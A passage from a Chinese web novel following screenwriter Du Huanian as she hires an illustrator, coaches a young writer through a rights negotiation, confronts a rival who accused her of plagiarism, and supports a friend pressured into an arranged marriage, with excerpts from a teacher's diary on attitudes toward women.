“哦。”曾倩乖乖地走过去坐下。她还不知道,在杜华年的工作间里工作,意味着什么。但工作室上下所有人却都知道了,曾倩现在就是得罪不起太子女。这种重视程度,引发了集体八卦——曾倩和杜华年,到底是什么关系?
依旧是这个排练厅,整墙的镜子,软羊毛地毯,杜华年坐在窗下,一连看了九个画师,她都不满意。
第十个。
“林见月,对吧?”杜华年已经有点累了。
“嗯。”林见月穿着一身粗麻衣裤,浅杏色,头发随意扎在脑后,素着脸,皮肤甚至有点糙,神情很淡,眼神却清澈动人。
“画一幅肖像给我看看。”
林见月想了想,点头。架起画架,铺好画布,从像极了电工工具包的帆布包里排出画笔颜料调色盘……驾轻就熟地摆弄起来。
杜华年困意全消,逐渐感到满意,低头给曾倩发消息:你猜她会画什么?
曾倩看到了,望她一眼,回复:不是你说叫她画肖像么?
杜华年:回去恶补一下美术的基础常识。肖像只是从画画内容进行的分类,但是我没说要素描还是水彩还是油墨,我也没说男女老少,甚至,她还可以画漫画。
曾倩瞪大了眼看向杜华年,见她噙着一丝微笑,玩味地看着认真画画的林见月,侧脸凌厉,水晶耳环摇摇曳曳。她吐出口气,垂头回复:我感觉你每个字都是陷阱。想想不够,又发:不对,你整个人就是陷阱。
杜华年看乐了。
34. 打怪兽的一天
林见月手脚很快,45分钟,她把画揭下来递给杜华年。她画的就是杜华年,水彩画,用色很漂亮,也还原。水晶耳环尤其精彩,栩栩如生。但杜华年看出了她藏在线条里的无线想象力,头发飘在空中,而她的眼睛,林见月用无数细碎的光斑明暗交错,描绘墨蓝的瞳孔和清澈的眼白,整个眼睛有一种水晶质感,画出了一种穿越迷雾的深情。
杜华年把画递给曾倩,曾倩惊叹,“哇哦!画画比写字更方便。”她望向杜华年,“像,真的像,比照片还像。”
“就是你了。林见月,去和HR谈薪资吧,最后两个问题,漫画行吗?”
“可以。”
“连载漫画,几天能一更?”
“最多一周两更,但我需要四个画手。”
“没问题,去找带你来这里的人,告诉她你所有要求。”杜华年站起来,把画还给她。
林见月也站起来,“你喜欢吗?我送你。”
杜华年一挑眉,扬起嘴角笑得明媚,“我最喜欢水晶里的落叶。”
林见月的脸上终于出现了生动的惊喜。
曾倩跟着杜华年回到办公室,还是忍不住问,“水晶里的落叶是什么美术生的梗吗?”
“不是,我又没你年轻,有什么梗我知你不知?”杜华年摘了耳环,擦掉口红,“你仔细看看她画的耳环和眼睛,拉到微距看。”
曾倩凑近了一看,好家伙,呼吸都忘了,在耳环和眼睛里的泊泊光斑,竟然是各样树叶,红枫叶、月桂叶、梧桐叶、柳叶,有些打了卷,有些飘散,那些水晶和眼珠里的纹路,像一棵棵秋天里的树,甚至,她还看见了耳环里的秋蝉和眼睛里的寒湖。
“我去,画中画啊!她在你眼睛里画秋风秋叶图……这个想象力!”
“最重要的是这个速度,颜色的准确,以及她还很年轻。曾倩,你的故事会先成为连载漫画,我们的漫画,不该只有幻想和爱情,还应该有热血和人生。”她拿起包,“走,吃饭,下午带你去谈投资。”
“那这幅画呢?”曾倩端着,不舍得放,又不敢拿。
“你揣好,下午顺路我去裱起来。”
杜华年的第一目标是天地文化,她必须尽快搞清楚这个公司对她,以及对工作室有何企图,所以她决定主动出击。
写字楼一楼最不缺咖啡店,杜华年找了个位置坐下,“你自己上去,我们保持通话,你戴一边耳机,我说什么,你说什么。如果你没听清我说话,你就沉默,无论多紧张,无论多想说话,你都给我忍住,听明白了吗?”
“嗯。”曾倩有点懵,迟钝地点头。
“记住了吗?”
“嗯……但是,为什么是我自己去?”
“幼儿园教学时间上午已经结束了,现在你是一个小学生,要学会自己的事情自己做,但我会一言一语教你。”
曾倩皱眉不肯走,杜华年起身,拉着她走出了店门,来到落地玻璃前,扶着她肩,转过去,“看看里面的你,还是昨天的你吗?”
曾倩深吸一口气,摇头。
“记住,今天的你,是你自己选的,这条路就是这么难走。当初你也觉得跟学校硬刚简直不可思议,可事实呢?现在你有什么好怕的?不过是这条路上,会有无数甘鹏和冷飞雪,而已。”
杜华年太坚定了,曾倩无法抗拒,期期艾艾转身走向大楼,走着走着逐渐坚定。
这一幕,恰好被来交稿的慕华看见,她钉在原地。
曾倩坐在椅子上,看着桌子对面穿着随意的男人,大约三十来岁,面目斯文,但话却说得傲慢又不讲道理,“曾小姐,我们已经谈了很久了,我要开的会都一推再推。我不明白,我给的价钱难道不到位吗?”
剧本交过去大约二十分钟,就出来这个人跟曾倩谈买断版权,杜华年强势,只接受投资,不接受让渡版权。
曾倩带着耳机,里面传出杜华年的声音,“封总,不是钱的问题,是我们一定拍得更好。”
“封总,不是钱的问题,是我们一定拍得更好。”曾倩重复了一遍,手心全是汗,但杜华年教过她,轻放在腿上,握着手机,谁也看不出来。
“哈哈。你倒是自信。你就没想过,我完全可以找几个不入流的小编剧,把几个同类的本子混一块洗一洗,连版权费我都省了。而且,我提醒你哦,这个本子大家都看过了,估计,已经有人在洗了,只是我,不喜欢干这件事,因为我比较尊重原创。”
杜华年听在耳中,心里杀机四起,“你大可以洗,如果你真的能找到同等品质的五个以上本子,你也就不用非要跟我死磕了吧,你自己算算,到今天为止,你已经找我们谈过几次了?”
曾倩也生了气,重复的时候语气急重,“……你自己算算,到今天为止,你已经找我们谈过几次了?”
封总很疑惑,这个女孩子看起来并不老道,可是话却总是说得功力深厚,他不得不全力招架。她说的是事实,洗稿,通常成品会呈现五本里头最差那一本的品质,再拍出来,通常还能更差,而只要同行们任意有人肯投钱,人家自己也就能拍出来,这样一来,一个正品一个赝品,他要想赢,就得赶工赶进度,还要花大量的钱请流量,买营销,算来算去,不见得多赚,但口碑恐怕不会太好,后续要想有更多选择,就难了。
曾倩看着他喝了口茶,没有很快接话,心里竟然渐渐放松下来,她现在不能说话,但她很想对杜华年说:姐,你真牛,他真被吓着了。
杜华年失去了耐心,“封总,我也耽误你很久了,一会儿你还要开会,不然我们今天先到这里。”
曾倩有点犹豫,但还是硬着头皮说了出来。
封总立刻说:“这样吧,我们再商量商量。”
握手再见,曾倩走出会议室,迎面一个女孩拦住了她。
封总所谓接下来的会,不过就是验收慕华洗的稿。慕华等在休息室,心里越想越难安。她也不是第一次来这里,和前台还算熟,她凑上去套话,果然,排在她前面的,正是杜华年工作室的剧本。
她越发不忿,等到曾倩走出来,立刻迎上去,“你是杜华年新招的编剧吧?我是慕华,就是去年告她抄袭的人,她是不是许诺署你的名?小妹妹,你听我一句忠告,我猜她已经写不出东西了,所以,她肯定会抢走你的本子,她去年就是这样骗我的,她肯定……”
“我们署名统一是芳生工作室,你有什么意见,可以打我们前台电话。”曾倩忍不住打断她。电话并未挂断,杜华年能听见,曾倩本来等着重复杜华年的回击,却没等到。
慕华愣住了,她突然觉得自己这个举动既唐突又可笑。眼前的女孩没有停留,侧过身走了。望着她离去,慕华感觉心口被重重砸了一拳。
曾倩走出大楼,走到转角的咖啡厅,杜华年坐在落地玻璃前。
太刺激了,曾倩第一次亲身体会谍战片的感觉,兴奋里带着忐忑,风一吹,背后都是凉透的。
“你怎么不骂许慕华?”曾倩坐下来狂灌一口冰拿铁。
“懒得。”
“他们真的洗稿怎么办?你不怕吗?”
杜华年看着她天真的脸,笑得春风明媚,“倩啊,你觉得我刚毕业的时候,难道没遇见过这种阵仗吗?我那时候都不怕,现在有什么好怕?”
曾倩心头一震:对,杜华年是怎么走到今天的呢?这个问题居然没有人想过。那时候,有没有人像她帮我一样帮她呢?如果没有,她就只凭她自己一路杀到今天……难怪她一身煞气。
曾倩脑补了一出孤胆英雄腥风血雨的大戏,但杜华年没空管她,打电话给瑜姐,“可以提热搜了。林见月开工了没有?
“好,让她今天熬个夜,明天热搜我要见到她的概念图。
“住得远是什么借口?你跟Mary说,她们人力资源全部人今晚帮林见月搬家,找不到房子就给她先包一个月五星酒店。总而言之,我要她今晚给我画画。”
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看着眼前的杜华年皱眉讲电话,曾倩对脑补的那出大戏更加深信不疑了。
挂了电话,杜华年还是不放心,带着曾倩赶回了工作室。下午五点,工作室的人都集中到了潇湘馆吃晚饭。杜华年在潇湘馆没见到林见月,走到最里头的隔间,她果然埋头在数位板后奋笔疾书。杜华年走近她,她丝毫不受影响,手起笔落,画面上线条飘落,整幅图已经初见轮廓,层次错落,人物张力毕现。杜华年很满意,正要走,林见月头也不抬地开口,“我真的需要画手,你给我的故事我看过了,画完概念图我就开始画那个。”
杜华年看了她一眼,她仍然头也不抬,画笔不停。
“行。”杜华年答应了她,带着曾倩往潇湘馆走,问她,“你在学校认识学美术的同学吗?”
曾倩明白她的意思,“认识,我带给你看看。”
“你先带给林见月挑。”
“好。”
没想到在潇湘馆门口见到了诗萍,杜华年下意识瞄了一圈,没看见李雯。诗萍已经看见她,走了上来,杜华年小声叫曾倩先去吃饭,随即换个笑脸,“诗萍阿姨,怎么有空来?”
诗萍只苦笑了一下,就开始掉眼泪,杜华年赶紧带着她往二楼去。诗萍很会哭,即便已经五十多岁,但依然称得上梨花带雨。李雯搬家,杜华年心里一直觉得另有内情,只是太忙了没空去问,这回倒好,诗萍把答案白送上门。
猫猫似乎很不喜欢诗萍,一看见她就汪汪叫,杜华年只能把她抱起来。
诗萍倒是不怕狗,一开口就直奔主题,“小年啊,阿姨就这一个女儿,她要是不听话,我在这个家也没法立足了……呜……她现在谈恋爱,找个比她小那么多的,家里也不怎么样,不就是图她的钱?你帮我劝劝她,分手吧,再搬回家里来,她年纪真的太大了,该结婚了。也是我的身份尴尬,耽误了她……”诗萍又哭了一阵子,杜华年就这么看着,勉强吊着一丝精神。诗萍又接着说:“她藏得严,我联系不到那个男孩子,我相信他也是一时糊涂走了歪路,你要是能帮阿姨把他约出来,我直接跟他谈谈更好。”
“阿姨,你们是有人选要给她结婚吗?”杜华年被她的哭声折磨,脑子里嗡嗡的,只想结束对话。
“对,她爸爸替她看上一个,家里也是做生意的,和我们家挺像,还是家里大儿子呢!”
“年龄比她大?”
“对。”
“阿姨,我知道你的难处了,回头我和阿雯聊一聊,您吃饭了吗?我带您去吃鱼吧。”
“不用不用,我这就回家了。那男孩儿的电话号码,你有的吧?”诗萍站起来假意要走,却还是在逼问她。
杜华年哪有什么好脾气,此时又累又饿,话说得很直白,“阿姨,那是阿雯的男朋友,我不该避嫌吗?怎么能留他的电话呢?即便我有,我也不能给您,我明知您要拆散他们,还推波助澜,那我成什么了?”
诗萍脸色瞬间煞白,这话说给别人听就只是一句话,可说给她听,总教她觉得是指桑骂槐。
窘迫的诗萍正是杜华年想要看到的,她故作担忧,“阿姨,你脸色不是很好,是哪里不舒服吗?要不我送您去医院吧?”
“没事,没事。阿姨突然想起晚上约了人的,我先走了,走了,你别送了。”诗萍落荒而逃。
杜华年食欲全无,但却饿得胃疼,更要命的是,天灵盖又酸又麻,脑袋胀得要爆炸。叮咚,李雯发来了一串地址,结尾写:找到慕华了。她看了一眼,拿包起身,一开门,就看见曾倩抱着一个饭盒站在外面,“你没交代我吃完饭干什么,所以我就在这等。刚才出去的,是雯姐妈妈?”
杜华年不想说话,“你留下来陪林见月,她如果没吃饭,这个饭盒给她,她如果吃了,这个饭盒还给海师傅。”说完抬腿就走。曾倩追了两步,“那你呢?你也没吃啊!”
“别跟着我。”
她牵着猫猫,步步风流云散,消失在曾倩眼中。
35. 对女性最大的恶意
回家的公车上,慕华刷到两条冉冉上升的热搜,一个是天地文化想买断芳生工作室版权未果,一个是芳生工作室即将在自己的公众号上连载漫画。她仔细看完,立刻明白了杜华年的目的,这件事闹大了,天地文化不敢公然洗稿,而如果不投资,等漫画爆起来,估计想投都挤不进去了。
杜华年还是那个杜华年。慕华想。
她失魂落魄,差点坐过站,匆忙下车后,努力呼吸夏夜凝香的空气。许慕华直觉地感到,曾倩不是自己,在杜华年心里,曾倩的分量就是不一样的。
拎着外卖,她拖着疲惫的身体走到单元门前,摸出门禁卡抬头开门,余光似乎瞟见什么,猛然一回头,凉风骤起,吹落大把花瓣树叶,她看见杜华年立在飞花风中。
傍晚下过一场暴雨,此刻花叶风里都裹着冰凉的水滴,满地尽是积水,杜华年卷发纷飞,裙摆飘扬,舒然抬起右手抹去左脸上的雨滴,头顶落了几瓣白花。明明很美,但慕华觉得很害怕。
“你来干什么?看我笑话吗?”她走上去,忍不住问。但杜华年仍旧那样看着她,没有一年前的轻蔑了,平视她,神色淡漠,眼神悠远。她心里更加没底,人一怕就爱说话,“我还没有回老家,但是我已经过25岁了!我现在至少不怕我妈逼我了,她一上网,搜许慕华,能见到我是一个独立编剧,有代表作!”
杜华年笑了下,慕华一震,“你笑什么?我说的都是事实,都是真的!”
“你今天去天地文化,不是为了签约做他们的编剧吗?”杜华年随口问了一句。
慕华却张着嘴,这么简单的问题,她硬是什么都答不出来。杜华年看她还是一样可怜,她不想和可怜的人说太多话,“我来是要告诉你一声,接下来,我会让你无处可去,你做好准备。”
她转身就走,慕华愣了两秒,追上去,“你什么意思?你要干什么?你已经回归了,人人又都捧着你了,你放过我不行吗?
“你说话呀!你想干什么?你……”
杜华年烦了,侧头给了她一个眼神,她立即停了脚步,不敢再跟,也不敢再说话,就这么看着杜华年在飞花风中走远。
再也看不见她时,慕华觉得太累了,抱着外卖蹲下来,手机振动,她妈来电,她抱头痛哭。
杜华年坐在回家的车上,猫猫乖巧地窝在她怀里,她闭着眼,疲惫不堪。她回想今天都做了什么?似乎好像也没做几件事,但又好像做了一百件事。她想大概是她老了,李雯的事让她惴惴不安,但一时又想不到有什么好办法。正是南京城最堵的时候,司机开车很稳,她又饿又累,渐渐睡了过去。
车开进小区她就醒来了,远远见到李雯在楼下等着她,伸手捻着花圃里的叶子。她下了车,猫猫一见到李雯就扑上去。李雯逗着猫猫问,“你去找慕华了?”
“嗯。”她很累,随意地靠在一棵树上,“今天你妈来找我了。”
李雯眼神闪躲,“她跟你说什么?”
“你到底为什么从家里搬出来?”
李雯垂下眼,杜华年逐渐散了倦意,“因为你妈给你找了个不如意的男人?”
李雯抬眼看她,眼里有些不明显的晶莹,“哼,如果只是个不如意的男人,我这些年见得少吗?”
杜华年了解李雯,她如果哼哼唧唧可怜兮兮,那事情就不严重,如果是像今天这样假装轻易,那估计是过不去的什么事。“走吧,我还没吃呢,去千帆过喝点酒。”
司机又把车开了上来。
千帆过的生意不忙,姜老板逗着猫猫不亦乐乎。杜华年静静地陪着李雯,她知道,这一次比上一次要严重得多。李雯喝了几口酒,三言两语就把事情讲完,窝囊废哥哥做生意爆雷,有钱爹不愿意填窟窿,大妈来求她亲妈,让她嫁给大妈娘家一个侄子,娘家的哥哥才愿意替这个外甥填钱。
说完,李雯就只顾喝酒,杜华年吃了好几口鱼才捋清楚人物关系,“今天我问诗萍阿姨,她说这个男人比你大,比你大的男人还没结婚吗?不是有暗病就是变态啊!”
“死老婆。四十多了,没有哪家有头脸的女儿愿意嫁,小模特当然多得是扑上去的,但他们家又看不上。怪我自己,你早就让我搬出来了,我不听,非要到现在……”
杜华年不再说话,李雯喝着喝着,热泪直流,哭着说:“我以为她是天真幼稚,被男人骗就算了,还要被女人骗,到今天我才知道,她根本不是……”她捂着脸,真个人沉进了悲伤里,“她就是没把我当人,我只是她一个物品,她根本不在乎我的感受……”
杜华年只有沉默。
深夜才归,李雯喝得很醉,杜华年把她安顿在床上,她拉住她,“阿芳!我现在只有你了,我好开心啊,我最开心的事情就是……就是你!杜华年又回来了!”她笑,笑着笑着又开始哭。杜华年给她擦了擦,换好睡衣,终于,她睡着了。
她不放心,和猫猫坐在地毯上看着她,没一会儿,猫猫跳上了床。杜华年走到客厅,坐在沙发上,打开立灯,从包里摸出了华丽娟的日记。
李雯说,因为她不是儿子,所以诗萍差点没能进家门,她从小到大,每一次受了委屈,诗萍都只会给她买东西,小时候是玩具美食洋娃娃,长大了是衣服包包化妆品。
“她就是,一辈子致力于,把我变成和她一样虚荣的怪物!幸好我遇见你了,阿芳……”
李雯在千帆过最后一句话,就是这大声一呼。
可她早就明白了,从认识李雯到现在,将近十年,她每一次要反抗,要分离,总折腾了个寂寞,正是因为她妈已经教会了她,遇到难事就跑回物质的怀抱里。分手了,花钱买开心,被骗了,花钱买开心,工作不顺利,花钱买开心……这大概不是疼爱,是一种禁锢。但今天,她知道了另一个真相,只感觉背脊冰凉,她一直以为诗萍是一个无知妇孺,是她不懂如何做才是真正对李雯好,但,如果她并不无知呢?
她如果是有意为之,那么不言而喻,她就是想让本该是儿子的女儿,也能成为她有用的棋子,比如这一次,给大妈的儿子擦屁股。
这些手段历经千年,仍旧朴实而管用。
她摸着那本日记,回想起其中一篇。
2009年12月2日星期三雨
何芳芳最近很努力,我很欣慰。但我的女儿最近总跟我闹情绪,也是我的错,有意无意地向她透露了我对她的期待,她就倍感压力。那天下午她放半天假,跟着我去学校,偷偷在教室外听我念何芳芳那篇散文。写得是真好,天真无雕琢,忧愁又克制,美却不华,感人的分寸拿捏得很好,读起来轻飘飘的,回味时却沉甸甸。我忍不住又多夸了她几句。
下课时她没跟着我。后来何芳芳来找我,说她的作文本不见了,我翻遍办
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公桌也没找到,心里就怀疑是我女儿干的好事。后来我在她书包里发现了,但我没说,我想于何芳芳,这不过是她生命里随意的一篇,她的日后总有更多更好的,可于我女儿,却恐怕意义非凡。
她今天作文写跑题了,我一看,哭笑不得,这孩子本来没什么文笔上的天赋,但又想模仿何芳芳,结果好好的记叙文,写得四不像。我打算好好教教她,可是她很难过,什么也都听不进去,她爸爸就带她出去玩。
我和她爸爸说,不能这样溺爱她,孩子遇到挫折,难过是正常的,你怎么能用另一种快乐去掩盖它呢?今天作文跑题了,可以出去吃一顿好的,买很多衣服就忘了,难道明天后天,不会有作文要写了吗?未来,她不会有人生的更多难题要面对吗?难道每一次,都可以花钱逃避吗?
可她爸爸跟我说,她是女孩子,要学什么面对、解决?女孩子花钱就能开心,以后长大了嫁人,只要够可爱,丈夫就会疼她肯给她花钱,怎么不能解决问题?
我一下子想起了何芳芳和她的妈妈,她的妈妈就依附何文谦活着。她妈妈告诉我,何芳芳在家里过得并不开心,何文谦身份地位摆得高,她并不得自由发展,所以我从她脸上看出了苦闷。
但是,这个苦闷却雕塑了她的性格,我看到她骨子里的倔强,是一个女孩儿,尤其是她这样天才的女孩儿最需要的品质。
可是,我又担心,因为我的老师跟我说过,这世界上没有谁能埋没一个真正的天才,但,天才的苦闷却可以。
我尽可能的表达我对她的欣赏,就是为了让她的苦闷能保留在一个尽可能合适的刻度。
我看着我的丈夫,她去哄女儿睡觉了。是啊,一个小学二年级的孩子,确实不必相逼太紧。可是,直到今天,我才觉得我的丈夫如此陌生,他对待女儿的态度让我明白,他心里有多么瞧不起女人。
可我当初嫁给他,却是因为觉得他是一个能平等看待性别的男人。我还记得他追求我时,对我的成就十分赞誉,可今天,他却说,女孩子只要有钱花就可以了,他完全是在抹杀女性作为一个人,应该拥有的获得独立人格的权力。
夜深,我更睡不着了,往事历历在目,我一直觉得我越来越平庸,是因为选择了家庭,可是现在,我开始怀疑,我的平庸,是因为我嫁给了一个错的人,她连自己的女儿,都当做供人玩赏的物品,何况是我?
所以我没有生下儿子,他就一定要找个人在外面替他生儿子。我见过那个孩子,我想,他的未来也不会真的好过,因为他的母亲,是一个看轻自己的人。
对女性最大的恶意,就是教会一个女人去瞧不起自己、瞧不起女性!
这么多年,我一直没有感到后悔,只是觉得,这场婚姻如此失败,有他的原因,也有我的原因,所以我一直没有想起我的老师当年对我说的话。可是今天,我想写封信给他,感谢他当年提醒过我,对待人生的选择该当慎之又慎,只是我没有听懂他的忠告。
她当时读到这篇的时候,并不能很明白一个女人要如何瞧不起女性呢?华老师又是如何看出来呢?诗萍今天来找她,真算是给她答疑解惑了。瞧瞧她说的话,她的女儿不嫁人,她就无法在这个家立足。真是滑天下之大稽,你本来在这个家,有过立足之地吗?
她很想把这句话砸在诗萍脸上,可是她忍住了,毕竟她是李雯的妈。
36. 滴水之恨,老娘一样涌泉相报!
概念图准时上线,曾倩的名声炒得很热,人们都想看看,杜华年强势回归却捧一个新人,会写出怎样的故事。果然,天地文化立即把投资意向发了过来,就怕别人占了先机。李雯破天荒地没有请假,顶着一双核桃眼,跟着杜华年来了工作室。
杜华年安排她去和刘芊芊签合同,自己去和天地文化谈意向,投资比例没什么问题,她只有一个附加条件,不能聘用许慕华,如果已经聘用,辞退她。来谈合作的是个中年女性,打了个电话,很快就答应了,还保证,慕华的合约不会过得了今晚。
杜华年很满意,“小赵,去把瑜姐叫来。”“瑜姐已经在外头等着了。”她意外又欣慰,挑了挑眉。瑜姐走进来,“老杜,许慕华今天能被炒吧?我想安排人去给她拍几张照片,然后再买两条,一个是我们和天地文化合作,一个是许慕华被天地文化辞退。这样一来,没人再敢请她。”
她笑了,“照你意思去做。”她在瑜姐脸上,看见了大仇得报的快感。看,这个世界上没人喜欢叛徒,即便真相可能不明朗。
她忽然累了,还没到午饭的点,她靠在沙发上睡了过去。梦里,她又看见了倒计时牌,还停留在40天。她现在已经熟练了,正和一群女生叽叽喳喳谈论八卦,突然抬个头看见黑板上的数字,她站起来穿过人群走过去,怔怔望着它,说:“你怎么还是40呢?我到底卡在哪里了?”四周瞬间寂静,落针可闻,她余光瞥了一眼周围,发现所有人都在看着她,眼神错愕中还有敌意,她索性拿起板擦想要去擦掉数字,周围的人乍然如雾消散,她的板擦也消失了,伸手涂抹数字,根本触及不到,雾气欲浓,她被一股力道越拉越远,直到醒来。
她睡了一个小时,饭香袅袅飘来。
潇湘馆里正热闹,李雯坐在靠里一排的窗下,那是她和杜华年专用的桌子,此时李雯旁边坐着曾倩,曾倩对面坐着猫猫,曾倩正向她招手。杜华年看着眼前景象,想起上一次潇湘馆满座,还是再上一个冬天,她和李雯就在里头那张桌子上大吵一架的时候,吵到后来,吃饭的员工都鸟兽散了。
刚坐下,海师傅就端了一碗腌笃鲜上来,还配了一碟生煎。
“老杜,幸好当初你坚持要搞食堂。没出事的时候我不觉得,慕华这档子事一出就看出来了,你平时凶巴巴的,但号召力是真可以,你看看,这里吃饭的,三分之二是原来的人,呵,”李雯笑得深邃,“我想了想,还真得是归功于这个食堂。大家总在一块吃饭,感情真不一样,只要人没走,灶上就有的吃,加班都温馨一点的。最重要是,你给人家补贴饭钱。”
杜华年打量李雯,她从未料想过,有生之年能听到李雯说这番话。良久,她才低头继续吃笋。
曾倩好奇,“很多五百强企业都是有自己食堂的,也都有餐补啊。”
李雯笑她,“你也知道说那是五百强。你什么时候见过我们这种几十个人的小工作室配食堂的?而且你去吃吃看,海师傅的水准在我家当私厨一点问题没有。你不知道,当年我不同意花这么大一笔固定支出的,是老杜,拿散伙威胁我。”
“老杜,你还在写武侠本吗?”李雯问得认真。
杜华年微不可查一挑眉,上回在这桌上吵架,就为的这个事,“不写了。”
“那不是你理想吗?我之前只看市场,现在想想,你该写还是写,反正咱也有曾倩了,把她这个故事搞下来,也能挣一笔。明天天地文化的头款就该过来了。再说我们现在开漫画业务了,我想了想,武侠漫画肯定比电影有市场,毕竟热血的总是年轻人。”
杜华年看着她,觉得真不可思议,有一天,她竟然和她谈理想,“我不写剧本了,以后本子曾倩写。”
“啊?”“什么!”
动静太大,半个潇湘馆的人又打算跑了,杜华年一挥手,“没事,接着吃你们的。”
“你打算就此封笔?”李雯急了,放下筷子追问。
“再说吧,没想好。吃饭,都吃饭,”她皱眉扫了一眼窗外,“我想在这种点竹子,反正后面也是我们的院子。”
李雯无奈,“行,你去年在竹林没待够是吧?”
“什么竹林?”曾倩问。
“吃饭!”二人异口同声给她堵了回去。
直到潇湘馆重归安静,杜华年也没看见林见月,她拦住海师傅,“海叔,画画那个小林,你见过了吗?”
“没啊,新员工啊?她指定没来过,来过一回我就能记住她口味。”
杜华年点点头,“你给她来碗米线,按我的口味。”
杜华年端着米线进了画室,曾倩在桌边打盹。林见月见她来了,站起来巡视一遍四个画手的进度,做一些修改,安排一些新进度,才坐到小茶几上,打开碗盖,发现是米线,眼睛亮了一瞬,“谢谢华年姐。”
“不客气,以后你不想去食堂,可以打电话给海叔,告诉他你想吃什么,他会安排人给你送过来。”
林见月抬眼望着她,大大的眼睛水汪汪的,十分招人爱,“还能这样?好,我记住了。”
“你吃完了,放着就行,海叔会过来收碗。”“好,我记住了。”
杜华年打算去量一量后院种竹子的面积,走到大门口,看见芊芊等在院子里。芊芊看见她,热情得双手上扬,扑过来捉住她的手,“华年姐!你怎么知道我合约到期了不想续的?我开心死了,他们都来恭喜我,说我是你签的第一个演员呢!”
“这是我去年答应你的事,哦不,是前年了。本来电影拍完就应该和你谈的,但是工作室关了,所以拖到现在。”
芊芊都快忘了这茬,“华年姐你这么帮我……我一定好好努力,不会……”
杜华年抬手打断她,“现在还没什么戏给你演,如果你有别的戏约,提前报备就行。”
“好的,雯姐跟我讲过了,谢谢华年姐!”
送走了刘芊芊,杜华年去量了地,回来坐在石凳上,靠着背后的梧桐树,又快到黄梅雨季了,温柔的午后阳光穿过梧桐枝叶,星星点点洒在她身上,时间过得真快啊!她想。
不用一周,漫画上线,芳生工作室的公众号粉丝暴涨,后台忙得不亦乐乎,瑜姐亲自下场带着公关部加入了运营队伍。
慕华的日子变得艰难起来。即便她知道杜华年一定不会放过她,但没想到这一刻来得那么快。时隔一年,她又一次火上了热搜,只不过去年她是春风得意,今年她抱着一个小纸箱,落魄走出写字楼。照片拍得还很有意境,李雯欣赏了好一阵子,落魄女孩和她身后的高楼林立,大大的城市容不下一个小小的身影,对比、冲突、挣扎、戏剧性。
夏夜暴雨将至,李雯和曾倩吃过晚饭,坐在工作室院子里的石凳上,享受暴风雨前的风雷声势,却没想到,大风把慕华给刮进了院子。
慕华一脸憔悴,李雯皱起眉头,颇不耐烦,“真晦气!我应该把你的照片给保安大哥们都发一张,看见你就赶走,省得踩脏我的小草。”
慕华很愤怒,但又抵不住心虚,咬着唇忍着,“雯姐,我想找华年姐。”
李雯并不理她,已经打电话给物业,要求保安来赶人。慕华害怕真被保安架出去,实在丢人,想转身又觉得不甘心,回头问,“雯姐,我就想问问,华年姐何必赶尽杀绝呢?我不干编剧了还不行吗?为什么要连小说都不让我写?”
“谁不让你写了?你话说清楚。”
“我本来签约的网站,统统要跟我解约,除了华年姐,还有谁这么恨我?”
李雯疑惑了一瞬,立马就明白了,冷笑,“你呢,恐怕并不知道这个世界的规则,如果没有影视公司再会买你的故事,网站要怎么赚钱?赚不到钱,自然不会再和你签约。这些事情不用我们交代,自然有人拜高踩低而已。还有,老杜让我告诉你,我们不恨蟑螂,我们只是讨厌它。”
雨点子砸下来了,李雯拉着曾倩回了工作室,曾倩回头看了一眼,慕华还楞在原地。
晚上,曾倩回到桂花小区,又看见了许慕华,就等在她们楼下。
“你怎么找到这里的?”曾倩有点警惕。
“说出来你可能不信,我经常跟着杜华年,用小号视奸她的各个社交账号,每天都会看热搜,看看她有没有重整旗鼓杀回来……这就是我一年来常做的事。”
曾倩吓傻了,“你……这就有点变态了。”慕华没接话,曾倩看她头发有些湿,“你吃饭了吗?我请你吃饭吧?你能不能告诉我,杜华年到底有没有抄袭?”
慕华惊愕抬头,“她怎么跟你说的?”
“她不说。怎么问都不说。”
慕华感觉自己的一切都没了价值,“你不怕她也抄你吗?”
“她不会。”曾倩坦荡地直视她,“我从头到尾都不相信她需要抄别人。再加上你并没有真的起诉她,所以我觉得,这里头另有隐情。你想说就说,不说就算了,反正现在也不重要了。”曾倩转身要进楼,慕华喊住了她。
“对,她不会抄你,她只是抄我……”慕华双眼泛红,眼珠子左右乱转,看样子就要失控,曾倩正观察她,突然她走上几步,吓了曾倩一跳。
“为什么呀?为什么她这样对我,却不这样对你?为什么她只是针对我!”她越说声音越高,曾倩往后退,绊到一颗石子,高跟鞋一拐,就要跌倒,右侧及时伸出来一只手臂,扶住了她。曾倩和慕华都是一愣,发现来人是杜华年。
“崴到了吗?”杜华年随意一问,曾倩转了转脚腕子,“没事。”
杜华年才看向慕华,眼神凉薄,慕华不自觉地一颤。
“听说你今天已经跑去工作室骚扰了一回?也好,我也该让你死个明白。”
杜华年亲自开车,带着曾倩和慕华来到了那条美食巷子,当年她和沈荷吃饭那家小店早已不在,现在是一家装修精美的甜品店。
慕华一直直勾勾地盯着她,她操作了一番
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手机,“你看邮箱,我发了个文件给你。”慕华的手机响起了提示音,她打开一看,是一封新邮件。她打开附件,刚看了两眼,脸色骤然煞白,猛然抬头,看鬼一样看向杜华年,“这个是!你怎么会……”
“这本来就是我的稿子,你以为你找一本多年前的冷门小说,作者还和我没半毛钱关系,就没人能发现了?呵,可你想不到,老天就是要捉弄你。”
曾倩发现了不得了的事情,来回看着两人。
慕华不死心,“这个稿子上写的署名是芳生,为什么刊出来的作者是沈荷?”
她不答反问,“你是不是不知道,我本名叫何芳芳?芳生是我第一个笔名。恐怕你也不知道,我爹是何文谦。”
慕华心头一抖,手脚冰凉。
杜华年继续,“你被网站解约和我没关系,但大约和我爹有点关系吧,毕竟大多数情况下,买版权后第一步是出书,出书就得过出版社,出版社有出版社的规矩,如果放得宽也宽,如果想卡得严,也很严。”
曾倩摸到了一点头脑,“噢!何文谦是出版总局的……。”
杜华年没让她继续说下去,看着慕华道:“当年我想出版这本小说,但我爸不同意,所以没人敢要我的稿,我只能用别人的名字发表。也是没想到会给你钻了这个空子。”
慕华还在消化这个事实,曾倩已经捋明白了,“所以说,是你抄了华年姐早年的小说,但你不知道是她的小说,而华年姐抄了你的剧本,实际上是她抄了她自己的小说?”曾倩自己也乱了,但还是坚持说完:“而你不知道她知道你抄了她小说,所以你告她抄袭,但其实,抄袭的……是你!”曾倩说完才瞪大了眼,震惊于这件事情的混乱程度。
随即,曾倩爆笑如雷,“报应啊!”
慕华彻底崩溃,“所以你不给任何解释就取消了我署名,是因为你早知道我是抄的……”
